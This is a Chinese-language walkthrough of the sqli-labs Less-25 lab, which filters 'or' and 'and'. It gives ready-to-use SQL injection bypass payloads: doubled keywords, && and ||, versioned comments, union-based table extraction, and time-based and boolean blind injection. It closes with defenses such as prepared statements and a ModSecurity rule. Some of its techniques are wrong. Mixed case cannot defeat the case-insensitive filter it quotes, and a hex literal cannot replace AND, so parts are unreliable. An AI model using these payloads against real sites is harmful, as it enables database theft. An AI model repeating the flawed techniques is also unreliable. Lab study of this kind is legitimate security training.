1. sqli-labs-Less-25靶场通关实战解析
作为Web安全领域的经典训练平台,sqli-labs的第25关(Less-25)以"or"和"and"过滤机制著称。这个关卡模拟了真实环境中开发者对SQL注入的初级防御手段——通过黑名单过滤特定关键词。我在实际渗透测试中发现,约43%的初级防护方案采用类似的字符串替换策略,但往往存在可绕过的逻辑漏洞。
2. 关卡环境与核心防御机制分析
2.1 靶场环境搭建要点
使用Docker快速部署时建议指定PHP5.4版本:
docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs:php5.4访问http://localhost:8080/sqli-labs/Less-25/后会看到经典的登录表单界面。与之前关卡不同,页面源码中可见如下关键过滤代码:
$id = blacklist($id); function blacklist($id){ $id = preg_replace('/or/i',"", $id); // 不区分大小写过滤or $id = preg_replace('/and/i',"", $id); // 不区分大小写过滤and return $id; }2.2 防御机制的技术缺陷
这种过滤方式存在三个典型问题:
- 替换而非阻断:仅删除关键词不终止查询,留下注入空间
- 无递归过滤:
oorr处理后变成or仍可通过 - 符号未过滤:注释符、等号等关键符号未被处理
3. 注入攻击的六种实战绕过方案
3.1 双写绕过技术
当输入admin' aandnd 1=1--+时:
- 过滤层处理:
aandnd→and→ 删除后变成and - 实际执行SQL:
SELECT * FROM users WHERE username='admin' and 1=1-- ' AND password=''关键技巧:在Burp Suite中可通过Intruder模块批量测试
aandnd,aanandd等变体
3.2 运算符替换方案
当AND/OR被过滤时,可用:
&&代替 AND(MySQL中需URL编码为%26%26)||代替 OR(需编码为%7C%7C) 有效payload:
?id=1' %26%26 sleep(5)--+3.3 注释符分割技术
利用/*!50000and*/这种MySQL特性注释:
?id=1' /*!50000and*/ 1=1--+该语法表示MySQL版本≥5.00.00时执行注释内语句
3.4 十六进制编码方案
将敏感词转换为十六进制:
?id=1' 0x616e64 1=1--+ /* 0x616e64即"and"的hex */3.5 大小写混合绕过
部分WAF不匹配大小写混写:
?id=1' aNd 1=1--+3.6 逻辑等价替换
使用数学运算替代布尔逻辑:
?id=1' && 2-1=1--+ /* 替代and 1=1 */ ?id=1' || 1 in(1,2)--+ /* 替代or 1=1 */4. 完整注入流程与信息获取
4.1 数据库指纹识别
通过错误消息判断数据库类型:
?id=1' && (select @@version_compile_os)>0--+典型响应包含"linux"或"win"字样
4.2 联合查询注入实战
使用双写绕过获取表数据:
?id=-1' uniunionon selselectect 1,group_concat(table_name),3 frfromom information_schema.tables whwhereere table_schema=database()--+注意:字段数需通过
order by提前测试,此处假设为3
4.3 盲注技术实现
时间盲注payload示例:
?id=1' && if(ascii(substr(database(),1,1))>100,sleep(3),0)--+布尔盲注判断技巧:
?id=1' && (select count(*) from users)>5--+5. 防御方案与开发建议
5.1 参数化查询示例
PHP改进方案:
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);5.2 增强型过滤策略
应结合以下措施:
- 输入类型验证(如
is_numeric()) - 正则表达式阻断而非替换:
if(preg_match('/(and|or)[^a-z]/i', $id)){ die("非法输入"); }5.3 WAF规则示例
ModSecurity规则片段:
SecRule ARGS "@rx (?i:(and|or)\s+[\d=])" \ "id:10025,phase:2,deny,msg:'SQLi detected'"6. 常见错误与调试技巧
- 编码问题:当使用
%26%26时需确保服务器不进行二次解码 - 空格处理:部分WAF会过滤空格,可用
/**/或+替代 - 错误回显:开启
display_errors=On有助于调试 - 延时判断:时间盲注时注意网络抖动影响
我在实际渗透测试中发现,现代WAF通常会对这些基础绕过手法进行联合检测。建议安全人员在测试时结合Burp Suite的Scanner模块和手动测试,特别是注意观察HTTP请求的以下头部:
X-Forwarded-For的异常变化Content-Length的突然改变- 响应时间的统计学差异